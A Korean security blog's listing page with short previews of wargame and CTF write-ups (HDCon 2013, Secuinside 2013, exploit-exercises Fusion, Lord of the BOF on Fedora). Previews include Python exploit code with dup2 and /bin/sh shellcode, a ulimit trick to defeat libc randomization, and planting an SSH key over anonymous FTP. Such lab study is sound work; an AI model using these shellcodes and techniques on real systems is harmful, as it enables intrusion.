본문 바로가기

System

[HDCon 2013] 5번 문제 write up 처음에 문제를 보자마자, 뭐이리 쉽지 했는데, 그냥 그냥 쉽지는 않았다.버퍼를 왕창 주길래 NX가 없구나 했는데, 그건 아니었던것 같아서 바로 ROP로 전환했다. 근데 문제는, system의 주소값을 모른다는것(offset을 모르는것)과 ROP가 가능한 크기가 유동적이라는것이다.ROP가 가능한 크기가 랜덤이기 때문에, 시스템 주소값을 맞췄더라도 결과가 안나올수도 있고,페이로드의 크기가 커지면 커질수록, 성공률도 줄어든다.그러므로, 페이로드를 작게 만드는게 중요했으나..... 그냥, 계속 반복해서 돌리기로 했다. system의 주소값을 모르는건 크게 문제가 되지 않았다. 어짜피 fork로 되어있으므로, system 주소값은 변하지 않는다.그러므로, puts라던지, recv라던지, 이미 있는 주소값을 구해오.. 더보기
[exploit-exercises] Fusion level 01 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20001)) #raw_input(".. 더보기
[exploit-exercises] Fusion level 00 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20000)) print s.recv.. 더보기
[BOF원정대/Fedora4] cruel -> enigma 0x080485e0 : mov 0x804985c,%eax 0x080485e5 : sub $0x4,%esp 0x080485e8 : push %eax 0x080485e9 : push $0x400 0x080485ee : lea 0xfffffc00(%ebp),%eax 0x080485f4 : push %eax 0x080485f5 : call 0x80483ec ... (gdb) x/x 0x804985c 0x804985c : 0x00236740 (gdb) x/10x 0x00236740 0x236740 : 0xfbad2098 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236750 : 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236760 : 0xb7fe2000.. 더보기
libc 주소 randomization 해제 트릭 local환경에서 BOF 공격을 할때, 루트권한 없이도 libc의 주소 randomization을 해제하는 트릭이 있다. $ ulimit -s unlimited 를 이용하면 된다.(단, 32비트 리눅스에서만 가능하다고 한다.) $ ldd alinux-gate.so.1 => (0xb7768000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75fb000)/lib/ld-linux.so.2 (0xb7769000)$ ldd a linux-gate.so.1 => (0xb772f000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75c2000)/lib/ld-linux.so.2 (0xb7730000)$ ulimit -s unlimited$ l.. 더보기
[Secuinside 2013] 127.0.0.1, write up 공격 순서는, ssh key 덮어씌우기 -> 버퍼오버플로우 이다. 로컬에서만 접속할수 있는 데몬이기때문에, 로컬의 쉘이 필요하다.로컬 쉘을 얻을수 있는 방법으로는, ssh key를 서버에 올려놓으면, 비밀번호 없이 접근할 수 있다. $ ssh-keygen -t rsa로, public key와 private key를 만든후, private key 는 ~/.ssh/id_rsa 로 옮겨놓고,public_key는 이름을 authorized_keys로 바꾸고 ftp를 이용해 서버로 업로드한다. 그래서 ftp로 접속을 한다. (annonymous로 접속하면 된다.)그리고, active 모드로 변경한다. (서버는 대부분의 포트가 막혀있기때문에, passive 모드가 안먹힌다.)그리고, /home/secu_ftpd/a.. 더보기
[Secuinside 2013] givemeshell, write up 파일디스크립터 문제이다. 쉘에서, $ ls > file 으로 할때, file에 명령어의 결과가 저장된다는것은 다들 알것이다. 사실 이건 $ ls 1>file 을 생략한 버전이다. 1번은 stdout을 의미한다. (쉘 화면에 출력되는것)그외에 0번은 stdin이고, 2번은 stderr 이다. 문제를 보면, 5글자까지 system으로 실행을 시켜준다.하지만, fork로 되어있기때문에, 출력 결과값이 우리에게 돌아오지는 않는다.우리의 소켓번호는 4번으로 일정하다. (fork이기 때문에) 그렇다면, ls>&4 를 치게되면, 그 결과값을 4번 디스크립터인, 연결되어있는 소켓에 쏴준다.그러면 그 결과가 클라이언트에게 날아가게 된다. 대충 느낌이 왔으니, 이제 쉘을 실행한다. 쉘은 원래 0번 디스크립트인 stdin을.. 더보기
[BOF원정대/Fedora4] dark_stone -> cruel /* The Lord of the BOF : The Fellowship of the BOF - cruel - Local BOF on Fedora Core 4 - hint : no more fake ebp, RET sleding on random library */ #include #include #include int main(int argc, char *argv[]) { char buffer[256]; if(argc & result $ xxd result | grep cve -A 4 ... 0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20 ecve("..uSe.T", 0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320 [0], [.. 더보기
[BOF원정대/Fedora3] evil_wizard -> dark_stone /* The Lord of the BOF : The Fellowship of the BOF - dark_stone - Remote BOF on Fedora Core 3 - hint : GOT overwriting again - port : TCP 8888 */ #include // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main() { char buffer[256]; char saved_sfp[4]; int length; char temp[1024]; printf("dark_stone : how fresh meat you are!\n"); printf("you : ");.. 더보기
[BOF원정대/Fedora3] hell_fire -> evil_wizard /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc 더보기